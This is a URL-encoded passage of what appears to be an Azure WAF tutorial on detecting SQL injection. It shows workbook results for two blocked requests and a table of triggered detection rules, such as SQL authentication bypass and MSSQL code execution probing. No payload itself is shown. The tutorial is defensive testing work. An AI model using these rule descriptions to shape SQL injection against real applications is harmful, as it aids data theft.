A%3CSTRONG%3E%26nbsp%3B%20%3C%2FSTRONG%3EFor%20a%20detailed%20overview%20of%20these%20sections%20of%20the%20WAF%20workbook%2C%20please%20refer%20to%20the%3CSTRONG%3E%20Overview%20of%20the%20Workbook%20Sections%3C%2FSTRONG%3E%20in%20the%20prior%20tutorial%2C%20%3CSPAN%3E%3CA%20title%3D%22Reconnaissance%20Playbook%22%20href%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fazure-network-security%2Fpart-2-reconnaissance-playbook-azure-waf-security-protection-and%2Fba-p%2F2030751%22%20target%3D%22_self%22%3EReconnaissance%20Playbook%3C%2FA%3E%3C%2FSPAN%3E%3C%2FFONT%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3COL%20start%3D%224%22%3E%0A%3CLI%3EFrom%20the%20sliced%20data%20in%20the%20WAF%20workbook%2C%20we%20can%20see%20that%20two%20requests%20to%20the%20%3CSTRONG%3E%2Frest%2Fproducts%2Fsearch%3C%2FSTRONG%3E%20URI%20were%20blocked%20by%20WAF.%26nbsp%3B%20Upon%20reviewing%20the%20%3CSTRONG%3ETop%2050%20event%20trigger%2C%20filter%20by%20rule%20name%20%3C%2FSTRONG%3Ewe%20see%20all%20the%20rules%20which%20evaluated%20the%20POC%20code%20in%20the%20request%2C%20the%20%3CSTRONG%3EMessage%2C%20full%20details%20%3C%2FSTRONG%3Esection%20shows%20that%20the%20traffic%20was%20blocked%20by%20Mandatory%20rule%20because%20the%20Anomaly%20Score%20threshold%20was%20exceeded%20(%3CSTRONG%3ETotal%20Score%3A%2043%2C%20SQLi%3D43%3C%2FSTRONG%3E)%20with%20SQL%20Injection%20attack%20being%20the%20closest%20match%3C%2FLI%3E%0A%3CLI%3EThe%20below%20table%20shows%20an%20extract%20of%20the%20%3CSTRONG%3ETop%2050%20event%20trigger%2C%20filter%20by%20rule%20name%20%3C%2FSTRONG%3Eoutput%20for%20scanner%20traffic.%26nbsp%3B%20This%20data%20shows%20that%20the%20WAF%20evaluated%20the%20encoded%20query%20in%20the%20HTTP%20request%20to%20detect%20that%20it%20was%20a%20SQL%20injection%20attack%20and%20therefore%20blocked%20it%3C%2FLI%3E%0A%3C%2FOL%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CTABLE%3E%0A%3CTBODY%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22550%22%3E%3CP%3E%3CSTRONG%3ERule%3C%2FSTRONG%3E%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%2260%22%3E%3CP%3E%3CSTRONG%3Ecount_%3C%2FSTRONG%3E%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22550%22%3E%3CP%3ESQL%20Injection%20Attack%20Detected%20via%20libinjection%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%2253%22%3E%3CP%3E1%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22550%22%3E%3CP%3EDetects%20MSSQL%20code%20execution%20and%20information%20gathering%20attempts%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%2253%22%3E%3CP%3E1%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22550%22%3E%3CP%3ELooking%20for%20basic%20sql%20injection.%20Common%20attack%20string%20for%20mysql%2C%20oracle%20and%20others.%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%2253%22%3E%3CP%3E1%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22550%22%3E%3CP%3EDetects%20MySQL%20comment-%2Fspace-obfuscated%20injections%20and%20backtick%20termination%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%2253%22%3E%3CP%3E1%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22550%22%3E%3CP%3EDetects%20basic%20SQL%20authentication%20bypass%20attempts%202%2F3%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%2253%22%3E%3CP%3E1%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22550%22%3E%3CP%3EDetects%20classic%20SQL%20injection%20probings%201%2F3%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%2253%22%3E%3CP%3E1%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22550%22%3E%3CP%3EDetects%20classic%20SQL%20injection%20probings%202%2F3%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%2253%22%3E%3CP%3E1%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22550%22%3E%3CP%3ESQL%20Injection%20Attack%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%2253%22%3E%3CP%3E1%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3CTR%3E%0A%3CTD%20width%3D%22551%22%3E%3CP%3ERestricted%20SQL%20Character%20Anomaly%20Detection%20(args)%3A%20%23%20of%20special%20characters%20exceeded%20(12)%3C%2FP%3E%0A%3C%2FTD%3E%0A%3CTD%20width%3D%2251%22%3E%3CP%3E1%3C%2FP%3E%0A%3C%2FTD%3E%0A%3C%2FTR%3E%0A%3C%2FTBODY%3E%0A%3C%2FTABLE%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH2%20id%3D%22toc-hId--1582965143%22%20id%3D%22toc-hId--1582965134%22%3EKey%20Takeaway%3C%2FH2%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3ESQL%20Injection%20(SQLi)%20is%20one%20of%20the%20most%20common%20type%20of%20application%20security%20vulnerability%20which%20allows%20an%20external%20adversary%20to%20exploit%20a%20vulnerable%20application%20to%20disclose%20and%20exfiltrate%20sensitive%20information%20in%20the%20application.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%3CSTRONG%3EFor%20web%20applications%20secured%20with%20it%2C%20Azure%20WAF%20can%20protect%20against%20SQL%20Injection%20(SQLi)%20attacks%20by%20detecting%20and%20blocking%20suspicious%20SQL%20queries%20at%20the%20network%20edge%2C%20with%20its%20out%20of%20the%20box%20ruleset.%3C%2FSTRONG%3E%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CH4%20id%3D%22toc-hId-1162713128%22%20id%3D%22toc-hId-1162713137%22%3EPrevious%3A%26nbsp%3B%3CA%20title%3D%22Vulnerability%20Exploitation%20Playbook%22%20href%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fazure-network-security%2Fpart-3-vulnerability-exploitation-playbook-azure-waf-security%2Fba-p%2F2031047%22%20target%3D%22_blank%22%3EVulnerability%20Exploitation%20Playbook%3C%2FA%3E%3C%2FH4%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%3C%2FLINGO-BODY%3E%3CLINGO-TEASER%20id%3D%22lingo-teaser-2031269%22%20slang%3D%22en-US%22%3E%3CP%3EThis%20tutorial%20shows%20how%20to%20test%20Azure%20WAF's%20protections%20against%20and%20detections%20for%26nbsp%3BSQL%20injection%20(SQLi)%20attacks.%3C%2FP%3E%0A%3CP%3E%26nbsp%3B%3C%2FP%3E%0A%3CP%3E%3CSPAN%20class%3D%22lia-inline-image-display-wrapper%20lia-image-align-inline%22%20image-alt%3D%22Mohit_Kumar_0-1610673831010.png%22%20style%3D%22width%3A%20400px%3B%22%3E%3CIMG%20src%3D%22https%3A%2F%2Ftechcommunity.microsoft.com%2Ft5%2Fimage%2Fserverpage%2Fimage-id%2F246501i7FD20DC87DBF3893%2Fimage-size%2Fmedium%3Fv%3D1.0%26amp%3Bpx%3D400%22%20role%3D%22button%22%20title%3D%22Mohit_Kumar_0-1610673831010.png%22%20alt%3D%22Mohit_Kumar_0-1610673831010.png%22%20%2F%3E%3C%2FSPAN%3E%3C%2FP%3E%3C%2FLINGO-TEASER%3E%3CLINGO-LABS%20id%3D%22lingo-labs-2031269%22%20slang%3D%22en-US%22%3E%3CLINGO-LABEL%3EAzure%20Application%20Gateway%3C%2FLINGO-LABEL%3E%3CLINGO-LABEL%3EAzure%20WAF%3C%2FLINGO-LABEL%3E%3C%2FLINGO-LABS%3E
Co-Authors
Version history
Last update:
‎Feb 09 2021 12:16 PM
Updated by:
www.000webhost.com